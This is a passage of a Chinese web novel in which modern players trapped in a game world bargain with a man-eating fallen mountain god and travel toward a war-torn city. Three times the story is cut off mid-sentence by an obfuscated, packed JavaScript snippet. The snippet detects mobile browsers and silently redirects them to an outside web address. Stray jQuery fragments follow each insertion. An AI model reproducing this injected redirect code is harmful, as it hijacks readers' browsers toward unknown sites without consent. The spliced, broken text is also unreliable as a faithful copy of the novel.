正当此时,地面微微颤动,山洞中传来洪亮的声音:“好徒儿,你带来的人怎么不老实?”
十几条藤蔓如游蛇般飞出来,径直伸向逃跑的奴隶,缠住他们的驱干,轻而易举就把人全部抓了回来。
涂灵见状攥紧拳头,牙齿将下唇咬白。
竟然失败了!
玄松跑到洞口一看,奴隶四下散落,倒在地上哀嚎,脚上的肥遗皮竟然通通被解开。
“谁干的!”
这时哪还有人搭理他。
“蛮蛮,把这些奴隶给我捆起来!”
话音刚落,诡异的藤蔓缠住一个奴隶的腰,眨眼间拖入洞中,不知里面发生了什么,凄厉的惨叫让人毛骨悚然。
玄松僵硬地愣住,接着不再管这些奴隶,朝蛮蛮挥手示意,拔腿就走。
涂灵知道他们这些人留在这儿就是个死,何不拉个垫背的?随即高声大喊:“玄松要逃!”
诡异的枝条和藤蔓得到人肉人血的滋养,蓬勃生长,一时间遮天蔽日。
玄松的胳膊被缠住。
“好徒儿,你要去哪儿?”
玄松立刻掐诀,桃木剑飞到手中,他疯狂斩断藤蔓,手臂刚刚重获自由,双脚却又被缠住。
“蛮蛮,来救我!”
“爹!”两人挥舞匕首救父。
涂灵想趁他们自相残杀之际带奴隶逃走,可那枝条生长太快,像个鸟笼把所有人围困在其中,只剩下悬崖的一侧可走。
涂灵心想只能放手一搏了。但是没有安全绳保护,剩下这些奴隶怎么办,会攀岩吗?
犹豫的当头,男蛮被藤条拎起,直接丢向万丈悬崖。
玄松大惊失色,眼看女蛮变成痴呆状,他没了帮手,当即抛下桃木剑跪地求饶:“师父息怒!师父息怒!”
山洞里有什么东西在挪动,脚步踏得地面颤抖,一个庞大扭曲的东西走了出来。
这就是……山神?
涂灵屏住呼吸盯住眼前的树人,绿植在他身上盘根错节,刚才被藤蔓抓走的奴隶就贴在他胸膛,只剩下薄薄的一层皮,血肉好似被消融,植物交错的根系以活人做肥料,吃饱喝足,变得粗壮。
昆崖打量四周,叹道:“好久没见过这么美的风景了。”
玄松眼珠子飞快转动:“师父,这些奴隶献给您慢慢享用,徒儿马上再去抓三十个奴隶!”
涂灵拆穿:“他走了就不会回来了!”
玄松狰狞地瞪过去:“我同师父说话,轮得到你插嘴?!”
涂灵寸步不退:“玄松修炼数十年,身怀内丹,他一人抵得过上百个奴隶!”
“孽障!”玄松目露凶光,抄起桃木剑刺向涂灵。
小宋哥当即掐诀,他刚刚收起来的肥遗皮从袖子里射出,拴住玄松的脖子,另一端投向昆崖身上的枝条。
“啊——”玄松终于明白过来有人偷学了他的法术,但为时已晚,肥遗皮巨大的力量将他拽到昆崖跟前。
“哞唵吽嘛……”玄松正想掐诀解咒,昆崖略抬手指,藤蔓钻进他的嘴巴,同时缠住四肢,没有给他施法的机会。
“一,二,三……”昆崖慢条斯理清点数目:“够吃一阵子了。”
众人脸色惨白,慌忙跪地求饶,不住地磕头。
涂灵硬着头皮问:“吃完以后呢?”
昆崖浑浊的眼睛望向她:“嗯?”
涂灵捂住小腹站起身:“你有召唤自然的能力,想来正是此地的山神,可是为什么需要活物的血肉来滋养?无人献祭,你连山洞都走不出来。”
昆崖一动不动看着她,似怒非怒,笑说:“猜猜看。”
涂灵瞥了眼地上的香烛:“你失去人间的香火供奉,没有人信仰你了。”
昆崖神色浮现一丝恨意,用力深呼吸,他胸前的人皮被根系吞没殆尽。
“当年我掌管束悠城的风雨,家家户户都供奉着我的神位,后来反教内斗,俶真道的无执真女通过占卜确定我在皮母地丘的洞府,城主遣人请我出山,谁知二十七劫炼化尸毒,投放在峡谷,形成毒瘴,使者一行人吸入瘴气变作毒尸,回到束悠城……”
昆崖语气透出愤慨:“全城近半数人口死于那场劫难。自此之后他们将我视做邪祟,真女被处死,人们烧光我的神位,砸烂我的神像,每年节庆还会举行驱逐仪式……”
涂灵算听明白他怎么从尊贵的神明堕落成怪物。
“玄松是你徒弟?”
“他啊?”昆崖轻笑:“若非神力微弱,只能找到这么个瞎子,我岂会收他做徒弟?”
涂灵说:“你就算把我们都吃光也于事无补,不如做个交易。”
昆崖听完大笑:“哈哈哈,你有什么筹码与我做交易?”
“放我们一条活路,我想办法助你拿回山神的尊荣。”
昆崖瞬间沉下脸:“凭你?”
涂灵点头:“只要束悠城的百姓重拾对你的信仰,香火源源不绝,我们几个奴隶又算得了什么?”
昆崖扫视着,枝条探过去,像卷毛线似的把她卷起来,送到自己跟前。
“玄松跑了不可能回来,更何况你?”
涂灵面色沉静:“不妨赌一赌,或者你可以在我身上下咒,如果我没有遵守诺言,早晚也是死。”
等回到现实世界,诅咒都会失效吧?涂灵这么想。
昆崖却嗤笑一声:“不如留下你的朋友做人质,如何?”
听见这句话,俞雅雅和大熊抱在一起瑟瑟发抖。
涂灵蹙眉,她自个儿受诅咒倒好说,但如果留下这些人,那就必须完成对昆崖的承诺,否则他们都会因她而死,这个包袱她并不想背。
“我需要帮手,他们得跟我一起走。”
昆崖面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936069|160379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无表情,松开对她的束缚:“挑三人留下,其余的你可以带走。”
奴隶们一动不动全看着她。
涂灵眉头拧得更深了。
俞雅雅走近,扯她衣裳,焦急道:“你还犹豫什么?其实那些奴隶都是游戏npc啊……不用纠结的!”
涂灵正要开口,这时小宋哥忽然站出来,说:“我留下。”
大熊赶忙拉他:“哥,你疯啦?!”
涂灵亦是错愕地回身,宋建国神色坚定,朝她略点了点头。
昆崖端详一番,忽而笑道:“既如此,留你一个便可,抵得过这儿所有人了。”
宋建国刚学会法术,是很好的帮手,他选择留下做人质,涂灵也很意外,但眼下不是犹豫的时候。
“请问山神,我怎么与你取得联系?”
昆崖道:“你们先看看玄松的包袱,都有些什么宝贝。”
大熊和俞雅雅走向黑毛驴,将挂在他身上的行囊取下,把里面的物件全部倒出来。
兽皮地图,符纸,香烛,法器,都是一些道门的物件,还有一尊神位,上书:通天感应掌风大道昆崖灵君。
涂灵想起一件事,提醒说:“玄松身上还有。”
闻言小宋哥走向玄松,从他的道袍里搜出了哭鹊卵。
这时黑毛驴再次失控,嘶叫着冲上来,抬起蹄子朝玄松的腿脚狠狠踩踏。
骨折声清晰可闻,他的小腿折成扭曲的角度,惨叫声似要将喉咙刮烂,可嘴里堵着蠕动的藤蔓,喊也喊得不痛快,双眼惊恐睁大,充血的眼珠子都快爆裂一般。
女蛮呆呆傻傻地从旁边晃了过去。
“你这畜生,脾气倒很烈。”昆崖推开了这只癫狂的毛驴。
“它怎么了?”
“它原住在乐游山,负责照看哭鹊的巢穴。”昆崖道:“玄松偷了人家的蛋,它能不恨吗。”
不仅偷,还当着它的面吃了。
“你们两个过来,拿上符纸,匕首,毛笔和碗碟。”昆崖发话。
涂灵和小宋哥互看一眼,照着他的话做。
“我现在教给你们感应咒,即便相隔千里也能在意念之海沟通。”
这么神奇?
“先取眉心血混合在一起。”
涂灵稍作犹豫,拿起匕首割破眉心,垂下头,用碗接着,她看见自己殷红的血液滴滴答答落下。
随后小宋哥接过匕首也划开自己的眉心。
两人血液相融。
涂灵胡乱擦了擦脸,大熊和俞雅雅见他们二人气定神闲地与山神做交易,还弄得满脸血,实在恐怖。
昆崖用树枝在地上画了道符:“照着誊在黄纸上,每一笔都不能出错。”
两人并没有立刻动笔,而是观察了一阵,然后坐下来,用毛笔蘸血临摹。
宋建国一次就画好了,涂灵画了两次。
昆崖感到有些新奇:“好苗子。你们从哪里来,怎么会做了奴隶,被玄松买下?”
涂灵微怔,不语。宋建国也不吭声。
昆崖笑了笑,没有继续追问:“现在把符纸烧掉,灰烬置于碗中,你们二人将血符水喝干净,感应咒就算种下了。”
涂灵和宋建国乖乖照做。
昆崖十分满意:“我再教你们清心诀。打坐时用此诀可进入意念之海,但要确保心无杂念,足够专注。”
一旁的玄松万万没想到会落得如此光景,眼看着他买来的奴隶没有成为祭品,反倒跟昆崖做起买卖,自己却沦落至此,怎么都想不明白。
“你,你们……”玄松艰难地发出声音,目光怨毒:“究竟,是,谁……”
他不相信有人这么短时间就能掌握法术,当年他受昆崖点拨,足足摸索了三个月才入门。
涂灵对他视若无睹,不予理睬。
宋建国迎上他扭曲的眼睛,面无波澜地回答:“奴隶而已。”
“……”
7.荒服07
涂灵学会了清心诀,拿起兽皮地图查看,发现上面只标记着大致的地点方位,要想穿过崇山峻岭找到束悠城,似乎天方夜谭。
昆崖见她眉头紧蹙,说:“那头黑毛驴能识别方向,跟着它走就对了。”
原来如此,难怪玄松偷了蛋还要把毛驴也带上。
“给你十五日期限。”昆崖阴测测地看着涂灵:“期限一过,我会把他碎尸万段。”
小宋哥:“不会吧。”
涂灵屏住呼吸迎上昆崖的双眸,片刻后转向宋建国:“等着,我一定救你。”
他说:“我现在后悔来得及吗,碎尸万段怕是有点疼。”
“来不及了。”昆崖收起遮天蔽日的藤蔓,放人离开。
众人失魂落魄逃到山脚,劫后余生,一个个都不敢相信这是真的。
“小宋哥就留在上面了?”大熊心里难受。
“他好伟大。”俞雅雅竖起大拇指,拍拍胸口:“反正我是做不到,跟那只怪物待在一起还不如跳崖算了……啊不,不止一个怪物,还有玄松呢,他们师徒一个比一个变态!”
“涂灵,我们接下来该怎么办?”
“去束悠城。”涂灵看着地图,又抬眸扫视众人:“想离开的现在就可以走,不必跟着我。”
除了大熊和俞雅雅,剩余奴隶四人茫然四顾。
与大熊一队的那个瘦弱老头说:“我们都是被流放到大荒的罪奴,无处可去,还是跟着你去束悠城吧。”
俞雅雅说:“对呀,我们好歹患难与共,大家在一起相互照应,也有个帮衬。”
涂灵点头。
大熊问:“可是束悠城怎么走,该不会要原路返回吧?吃人的怪鱼有草花对付,可是毒瘴我们没办法呀。”
涂灵指着地图上的位置:“那座城在相反的方向,不用返回峡谷。”
大熊和俞雅雅凑近来看:“我去,只有几个标识,这怎么找得到?”
涂灵走向树边的黑毛驴:“能带我们去束悠城吗?”
毛驴不与理睬。
涂灵想了想,拿出装着哭鹊卵的布袋,放进它背上的行囊。
“还给你,我们都不会动这些蛋,请你带我们去束悠城。”
黑毛驴拿回蛋,高兴得原地转圈,随后朝着月亮升起的方向前行。
“走,跟上它。”
夕阳最后一点余晖洒满皮母地丘,原始密林呈现出一种诡异神圣的美感,动人魂魄也令人胆寒。
夜幕降临,他们围坐在一棵大榕树下生火,路上喝山泉吃野果,倒是体验了一把原始人的生活。
“我们日夜兼程,大概要五六天才能抵达束悠城。”大熊叹说:“昆崖只给半个月的时间,来得及救小宋哥吗?”
俞雅雅也苦恼:“是啊,昆崖在人家的认知里就是个邪祟,邪祟还想得到人们的香火供奉,怎么可能呢?诶,你们说怪不怪,这个世界的人居然能把神拉下泥潭,烧他牌位砸他神像,按常理来说亵渎神明应该会遭天谴才对,这儿的逻辑好像不一样?”
大熊说:“鬼地方还管什么逻辑。我现在只担心小宋哥……涂灵,你有把握吗?”
其实她心里也没什么底,但事在人为,无论如何也要拼尽全力。只要帮助山神恢复神力,说不定还能救她父母的命。
“万事皆有可能。”涂灵拿出玄松留下的香烛纸钱,将昆崖的神位摆在石头上:“从现在起我们就是昆崖灵君的第一批信徒,每日给他上三炷香,他会感知到我们的诚意。”
众人面面相觑,然后不约而同聚集到涂灵身后,随她一起叩拜山神。
大熊双手合十,口中念念有词:“山神爷爷,求你不要虐待小宋哥,他是个好人呐……”
俞雅雅拜完率先站起身,忽然发现远处一个古怪的黑影走来,她眯起双眼细看,月光下逐渐显现出对方的真容。
“啊!她怎么跟来了?!”俞雅雅惊恐大喊。
众人闻声望去,只见女蛮叉着罗圈腿摆摆晃晃,双手沾满鲜血,咧嘴笑着朝这边奔来。
大家都受过女蛮毒打,一下子惊恐不已,慌忙躲到榕树后头。
“涂灵!小心啊!”
“没事。”涂灵保持警惕,试探道:“蛮蛮,你手里拿着什么?”
女蛮献宝似的来到她跟前,递上颈脖撕裂的野山鸡和野兔:“师姑,给,吃!”
俞雅雅趴在树后:“她怎么叫你师姑?!”
涂灵思忖道:“可能见我跟昆崖学法术,以为我和玄松师出同门。”
大熊骂道:“真丧气!快赶她走!”
涂灵打量女蛮呆傻的模样,说:“她现在只有三岁孩童的智商,没有玄松指使,应该不会再对我们作恶。”
俞雅雅咋舌:“你、你不会想留下她吧?”
瘦老头也说:“既然她现在痴痴呆呆,不如把她杀掉,以绝后患!”
涂灵摇头:“她天生神力又擅长捕猎,留下来给我们干杂活儿正好,说不定路上遇见猛兽,还能帮上忙。”
大熊听完十分赞同:“对呀,这怪东西以前是玄松的爪牙,无恶不作,可恶得很!这下换她做奴隶,天道好轮回!”
大伙儿慢慢从树后走出来,小心翼翼观察女蛮,确认她不再有危害,拿起她打来的山鸡和野兔,剥皮烤肉。
涂灵没有什么食欲,只吃了些野果子,然后走到安静处盘腿打坐,闭上眼,掐清心诀,聚精凝神,思绪逐渐进入飘渺之境。
眼前仿佛出现幻象,夜色变作满天霞光,她坐在木筏上,木筏漂在水中,海天交接,水面不起一丝波澜,好似偌大的镜面,映照出五彩瑰丽的云霞。
涂灵被眼前的景色震住,她以为昆崖口中的意念之海是混沌翻涌的恐怖所在,没想到会美成这样。
“涂灵。”
身后传来宋建国的声音,轻轻地。
涂灵回过头,他出现在木筏上,坐了下来。
“你找我?”
这话倒把她问住了,她只是想静静心,顺便练习感应咒,不料一下就成功和他接上头。
“你目前安全吧?”涂灵问。
“嗯。”
“为什么要主动留下?”其实她也有些好奇:“当时让我做选择,我没打算把你留在那儿。”毕竟是为数不多的战斗力了:“你是不是有别的打算?”
涂灵直接问出心中揣测,他行为举止实在可疑,首先不像奴隶,其次来历成迷,而且那么快学会运用真炁操控肥遗皮,或许他找昆崖另有所图,就像她也身藏秘密一样。
宋建国淡淡开口:“那种情况,舍我其谁?”
涂灵怔住。
他神情坦荡,仿佛不值一提,并且对她的揣测也没有任何不悦的反应。
涂灵略微羞愧了一秒,点点头:“好吧。你告诉昆崖,先别动玄松,留他有用。”
“好。”
涂灵正想退出意念之海,忽然被他叫住。
“等等。”
“怎么了?”
宋建国道:“活下来的人里有一个瘦小的老
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943317|160379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
者,你要当心。”
涂灵诧异:“什么意思?”
宋建国迟疑:“有时我能觉察善念和恶念,那位老者身上有很重的戾气,并非可靠之人,不可掉以轻心。”
涂灵心想什么叫觉察善念恶念,难不成类似火眼金睛,可以识别妖魔鬼怪?
“你从什么时候发觉他有问题?”
“从一开始。”
涂灵回忆三天前的情景,恍然大悟,难怪当时老头被蛮蛮毒打,他毫无出手相助的意思。
“我知道了,你也当心。”
——
次日天微微亮,一行人启程赶路。
大熊话多,拉着同伴不断地打听:“诶,你们都从哪儿来,家住何处,家里还有亲人吗?为什么会被流放到大荒呢?”
一人道:“我本是伯侯府上的仆人,因失手打碎了琉璃碗,便被降罪流放了。”
俞雅雅扯起嘴角:“啊?打碎一只碗就要流放?”
另一人说:“我偷了雇主家的名贵药材给我娘治病。”
“我失手打死了调戏妹妹的歹徒。”
涂灵走在后面,不动声色地观察那个瘦老头儿。
俞雅雅问:“老爷爷,你呢?”
“我啊,被人诬告才获罪流放的。”
大熊诧异:“诬告?怎么回事儿?”
瘦老头摆手:“唉呀,几十年前的公案,不提也罢。我姓刘,在家排老三,你们叫我刘老三就行。”
他年纪那么大,俞雅雅和郑大熊都不好意思这么喊,可这时涂灵却忽然开口,直呼其名。
“刘老三,我记得那天你说不记得自己的名字,怎么突然想起来了?”
瘦老头愣了下,回头看一眼,当即堆满笑容:“哈哈哈,是啊,恍惚间找回一些记忆。对了,你们又从何处来,犯了什么事儿被流放的?”
大熊和俞雅雅对视,讪笑敷衍:“意外,纯属意外,不小心按到了些东西……”
各有各的遮掩,看来这临时拼凑的队伍并不牢靠。
眼看着太阳升到头顶,算时间,她设置的手机闹铃应该已经响了,可人还在游戏里,并没有被召回现实。
难道和铃声无关?
涂灵一时想不明白,索性就不想了。
当晚众人歇在溪边,月光明亮,涂灵见周围有草木和大石头遮挡,于是拉上俞雅雅,走远一些去洗澡。
就着幽蓝月光脱下粗布衣,溪水清凉,涂灵用毛笔挽起头发,酮体美得好似雕塑。
俞雅雅不由“哇”一声,看呆了眼。
“怎么了?”涂灵问。
俞雅雅:“你的肌肉好漂亮。”
不仅有腹肌,还有肱二头肌,线条流畅,瘦而结实,在这古老的山光水色中仿佛自然之力创造出来的作品。
“你的肌肉也……”涂灵本想随口客气两句,目光扫过她的身体:“哦,你没有。”那算了。
俞雅雅不服气,摆出婀娜造型:“人家是肤白貌美的富贵花,娇柔妩媚,吹弹可破,跟你不是一个类型。”
涂灵视若无睹:“你家里有人吗?”她利落地掬水清洗身体:“还是自己独居?”
“……”俞雅雅尴尬地收起姿势,蹲下来搓腿:“我家很大,父母忙于工作应酬,通常只有阿姨在。”
“她总要叫你吃饭吧?”
“不一定,她看我在玩游戏,可能就不打扰了。”俞雅雅反应过来:“怎么了?”
涂灵把自己昨晚回到现实世界的事告诉她。
8.束悠城01
“啊?!”俞雅雅又惊又喜:“你,你都回去了,怎么又跑进游戏里来呢?!”
涂灵垂下眼帘:“我还有事。”
俞雅雅却十分感动:“你没有丢下我们,真讲义气。”
涂灵:“你想多了,我有别的目的。这游戏没有章法,原本我以为受现实世界的干扰就能回去,但设置的闹铃完全无效。”
俞雅雅琢磨:“这么说,我和大熊也可能突然间回到现实?”
“嗯。”
俞雅雅激动得来回走动:“既然你曾经被铃声唤醒,说明现实世界的干扰还是有效的,说不定第一次退出游戏的方法就是听见响铃!”
涂灵不置可否。
两人洗完澡回到篝火前,大伙儿都睡着了,她们把大熊拍醒,叫到一旁。
“完了,我独居,手机还调了静音。”大熊满脸生无可恋。
俞雅雅亦扶额:“没事干嘛调静音?”
“我怕人打扰嘛。”
“现在好了,没人打扰,也没人救你啦。”俞雅雅郁闷了好几秒:“对了,你住哪儿?”
“鹿城。”
她眼睛发亮:“真的?我也住鹿城!诶,你呢涂灵,也是鹿城人吗?”
涂灵稍作犹豫,“嗯”了一声。
“我们三个居然在同一座城市!”俞雅雅感到惊奇。
“不知道小宋哥是哪里人。”大熊说。
“其实……”俞雅雅歪着脑袋眉心微蹙:“你们确定小宋哥和我们一样来自现代吗?”
大熊打起哈欠:“不然呢,古代哪有人会取名叫建国。”
“也是,宋建国,好老气的名字,像我爸那辈人起的。”
“你不觉得他这个人也很少年老成吗?”
“对,不声不响,闷葫芦一个,心思深,不知道在想什么。”
“他突然开口说话给我吓了一跳。”
“他暗地里练习法咒才吓人,好在小宋哥不是坏蛋,否则他比玄松还可怕。”
俞雅雅和大熊窸窸窣窣地聊着天,涂灵拿蛮蛮当枕头,后脑勺搁在她的肚皮上,渐渐睡了过去。
——
他们又在路上走了三天,沿途逐渐出现茅屋和农田,可是河流溪水却越来越少,盛夏时节,庄稼地死气沉沉,除去稀稀拉拉的杂草,不见半粒粮食。
路上遇到一个挑着扁担的老妇人,身形佝偻枯瘦,走得十分艰难。俞雅雅和大熊心生怜悯,赶忙跑上前帮忙。
“婆婆,你是要挑水浇地吗?”
老妇人脾气不大好,一下烦躁起来:“哪有地可以浇,这么点儿水还不够我和老头子喝几天呢。”
大熊挠挠头:“那你家老头呢?怎么让你一个人干活?”
“打猎摔伤腿,在屋里瘫着。”
俞雅雅问:“只有你们二老,孩子呢?”
“打仗,死了。”
“……”
涂灵眺望四周,上前询问:“婆婆,为什么周围的田地都没有种庄稼?”
老妇人叹道:“束悠城方圆百里气候干旱,有时一两年都不下雨,水井早就干了。城中富贵人家能喝上邻邦运来的山泉,我们穷人只能走到很远很远的湖边挑水回来!”
涂灵又问:“什么地方在打仗?”
“就是束悠城嘛!十天前被玉奴人攻破,城主被杀,现在脑袋还挂着城楼上喂苍蝇呢。怎么,你们要去那儿?”
众人面面相觑。
涂灵想了想:“婆婆你住哪儿,我们帮你挑回去。”
“前边再走二里地。”
涂灵本要叫蛮蛮挑水,可她身材矮小,只有半人高,怕是挑不起来。
“我、我可以这样。”蛮蛮单手撑起扁担,高高直立,水桶刚好离开了地面。
大熊说:“你小心啊,别把水晃出来。”
“好、好!”
涂灵送老婆婆回家,路上向她打听束悠城的情况。
“您刚才说的玉奴人,是什么来头?”
“奇了怪,你们到底从哪里来的,怎么连玉奴一族都不知道?”
涂灵面不改色:“我们在山里修行,不问世事,近日才下山游历。”
婆婆直摇头:“待在山里多好,眼下到处都在打仗,下来做什么?那玉奴人原本是大荒中的游牧部落,族人生得牛高马大,个个好勇善斗。束悠城一直由百叶氏统治,数百年下来,子孙不孝,人才凋零,玉奴军数月前已经攻下了南边的狂夕城,那百叶洪不想着操练军团巩固城墙,依旧每日饮酒作乐。后来玉奴军只用两日便占领了束悠城,百叶洪献上自己的女儿以求自保,玉奴的主君收下美人,但是一刀砍下了百叶洪的脑袋!”
俞雅雅和大熊听得目瞪口呆,他们即将要去的地方是个什么情况?!
“这种无能的城主死了就算了,我那个傻儿子居然一心一意效忠他,最后死在玉奴军的弓箭下,你说蠢不蠢?!”
俞雅雅和大熊赶忙安慰老人家:“您别生气,想必他也是为了守护家园嘛。”
涂灵望着干裂的土壤,感到疑惑,又问:“既然种不出粮食,为什么还保留田地呢?”
说起这个,老婆婆更加生气:“还不是那些该死的术士!束悠群山盛产铜矿,百叶氏富裕,广招天下能人异士,寻求治旱的法子,于是每年都有一些贪财的骗子前来献策,求雨啊,占卜推演啊,次次失败,百叶氏次次都相信,命我们锄地松土等待降雨!”
大熊摇头啧道:“人傻钱多啊。”
涂灵问:“你们没有供奉布雨的山神吗?”
老婆婆反问:“哪有什么山神?”
涂灵道:“我听闻掌管束悠城风雨的山神名叫昆崖,您不知道?”
“昆崖?”老婆婆思忖:“小时候听祖母说过,那可是邪祟呀,八十年前害死城中半数百姓,我幼年时还见过大人们举行驱逐仪式,后来逐渐将他抛诸脑后,不再提起了。祖母回忆她孩提时的家,土地肥沃,年年丰收,当真好光景啊。”
涂灵想,原来已经是八十年前的事了,如今城池易主,当初的禁忌更容易被推翻,只要能说服玉奴族的主君,昆崖就有重回神位的希望。
送老婆婆到家,再走上小半天就能抵达束悠城,沿途偶遇的行人也多起来。涂灵记着小宋哥的话,小声告诉俞雅雅:“进城之后不知道会有什么变故,当心刘老三,宋建国说他不是好人。”
“啊?”俞雅雅愕然。
束悠城的城楼已经映入视野,一颗模糊的首级用竹竿悬在门楼上,每个进出城池的人都会从底下经过,威慑力极强。
俞雅雅缩紧肩膀抱住涂灵的胳膊:“我们入城之后先去哪儿?”
涂灵正要开口,这时忽然有个声音在脑中喊叫,越来越急切。
“姐,姐!喂!说话!你怎么啦?!”
有人在摇晃她的身体。
涂灵感觉脑子仿佛分裂,用力闭上眼,晃晃头,再睁开,竟然又回到了现实世界。
“……”
“你……”
表弟蒋倦满脸惊恐地看着她,双手僵在半空,见她有了反应,不禁后退几步,畏惧的模样堪比见鬼。
怎么这个时候回来?
涂灵立刻握住鼠标尝试进入游戏,可电脑一点反应都没有。
蒋倦嗓子发抖:“喂。”
难道死机了?她拔掉电源重新开机,一切正常,可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948570|160379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
游戏怎么也点不进去了。
“喂。”表弟有些崩溃,揪住自己的头发:“你发癫啊?!”
涂灵转头扫了一眼:“你怎么在我家?”
蒋倦双眼瞪得愈发恐惧:“我给你发微信说过了呀,跟我妈吵架,过来住两天……你、你刚才怎么一动不动,我叫了好久,还以为你死啦!”
涂灵说:“没死,不小心睡着了。”
“那你脸上的血哪儿来的,脑门咋了?!”
涂灵闻言愣住,抬手一摸,指尖碰到干燥的纹路,脸颊肌肉稍微动一动,黏糊又紧绷。
她心头诧异,下感应咒的时候在眉心划了一刀,难道现实中也被划破了?她不是意识进入游戏的吗?
涂灵立马起身走进洗手间,盥洗台的镜子映照出她血痕狰狞的脸,双眉之间有一道深深的伤痕,血液就从那儿流向鼻子和脸颊,凝成可怕的模样。
蒋倦战战兢兢扒在门边观察:“你是不是遇到什么事了?”
涂灵打开水龙头洗脸:“不小心磕破而已。”
这敷衍的话语显然没法让他安心:“流这么多血,去医院包扎一下。”
“不用。”
蒋倦咬牙:“那我就报警,让警察带你去医院!我看你病得不轻,顺便看看精神科!”
警察不能来家里。涂灵把脸洗干净,见表弟要打电话报警,一把拿过他的手机制止:“行,去医院。”
游戏中度过六七天,现在已经凌晨十二点过了,涂灵和表弟打计程车到医院急诊挂号,额头伤口约莫两厘米,消毒清创后缝了三针。
蒋倦说:“我刚刚问过,精神科没有医生值班,明天再来吧。”
涂灵皱眉:“我没病。”
“精神病都这么说。”
她心里厌烦,想了想,硬碰不行,索性顺着他的话:“其实我在学校已经看过医生了,诊断出梦游症,有时自己做了什么都不知道。”
蒋倦瞬间睁大眼:“我说吧!”
涂灵点头:“开了药,吃完一个疗程再去复诊。”
“怎么搞的,得梦游症?姨妈姨爹知道吗?”
“学业压力大,我还没告诉他们,免得他们让我退学。”涂灵道:“你也别跟你妈说,她照顾病人已经够烦了。”
蒋倦重重叹气,拍她的肩膀:“明白,保密,大人最喜欢自以为是指手画脚,帮不上忙还要说教,尤其我妈……我不会告诉她的。”
涂灵欣慰道:“那就好。”
姐弟二人回到家,已将近凌晨两点。
涂灵把蒋倦安置在书房,提醒说:“记得把卧室门反锁,不然我担心半夜起来会走进你房间。”
他听得毛骨悚然:“不会吧?”
涂灵“嗯”一声:“听见什么动静也别开门,否则很恐怖。”
蒋倦张着嘴,浑身僵硬,额头冒出冷汗。
“晚安。”涂灵拿换洗衣物到浴室洗漱,她看着镜中自己脑门上的竖痕,盘算这次怎么突然回来的。
手机闹钟检查过,没有问题,响了三次才自动关停。可她在大荒世界根本没有听见,是蒋倦又晃又喊才将她拽回现实。
第一次她在游戏里待了两个小时,第二次七个小时,难道有什么规律?
而且为什么游戏突然进不去?
涂灵心不在焉地洗漱完,经过客厅想起表弟,于是特意走到书房门前,按按门把吓唬他,里面果然反锁了。
接着回自己卧室,扫一眼柔软的大床,她已经很久没有好好睡一觉了。
涂灵走向书桌,再次尝试点击游戏图标,不料界面瞬间弹开,铺满屏幕。她猛地挺直背脊,不待犹豫,二话不说立刻进入游戏。
9.束悠城02
臭。扑鼻的一股臭。
像是酸汗混合着骚味儿,加上牲口和死老鼠的恶臭。
涂灵睁开眼,身边都是人,七倒八歪地瘫坐在地上,有男有女有老有小。
这是一个简陋的天井,石墙足有五六米高,犹如没有房顶的监狱。北边是高大的木栅栏,中间开一扇小门,门外有两人佩戴武器把守。
“涂灵……”俞雅雅虚脱般靠着石壁,见她恢复意识,恍惚了片刻,然后猛地抱住她,放声大哭:“你终于醒啦!”
“这什么地方?”
俞雅雅哭了好一会儿才抽抽搭搭松开她的胳膊。
“好像叫暗街,是城中黑市,我们全被刘老三卖了!”
涂灵说:“先别慌。我不是提醒过你要当心他吗?”
俞雅雅抬起袖子擦眼泪:“我当心了,可哪有他狡猾,入城之后他突然就不见了,我和大熊还庆幸,摆脱掉也好。没多久他又出现,说要带我们去一个落脚的地方,当时你已经没有意识,好像一具行尸走肉,我和大熊都很慌,只能跟着他走。谁知他竟然把我们卖给了黑市的人贩子!”
涂灵问:“其他人呢?”
“大熊和另外三人被买去做苦力,蛮蛮被什么惊奇班子买走了。”
涂灵道:“蛮蛮没反抗吗?”
俞雅雅愤恼又无奈:“你不发话,她那智商怎么会反抗?像个不倒翁晃来晃去,我和大熊让她把人贩子干掉,她就傻站着,左眼珠子看我,右眼珠子看大熊,别提多智障了!”
涂灵拧眉思索手上有什么东西能用:“我们的行囊呢?”
“全被刘老三拿走了,法器,符纸,哭鹊卵,还有黑毛驴,一样不剩!”俞雅雅紧张地看着她:“你这两天回现实世界了?”
“嗯。”
俞雅雅几乎急火攻心,不住地抽泣:“什么鬼游戏,你都出去两次了,凭什么我还在这儿受苦受罪!”
涂灵琢磨:“还剩七天,不知道宋建国怎么样了,香火中断,昆崖肯定起疑。”
俞雅雅肿着俩眼泡儿:“先别管他了,我们自顾不暇,还不知道要被什么人买走呢。”
正说着,一只硕大的老鼠窜进人堆里,把俞雅雅惊得跳起来大叫:“啊——老鼠!”
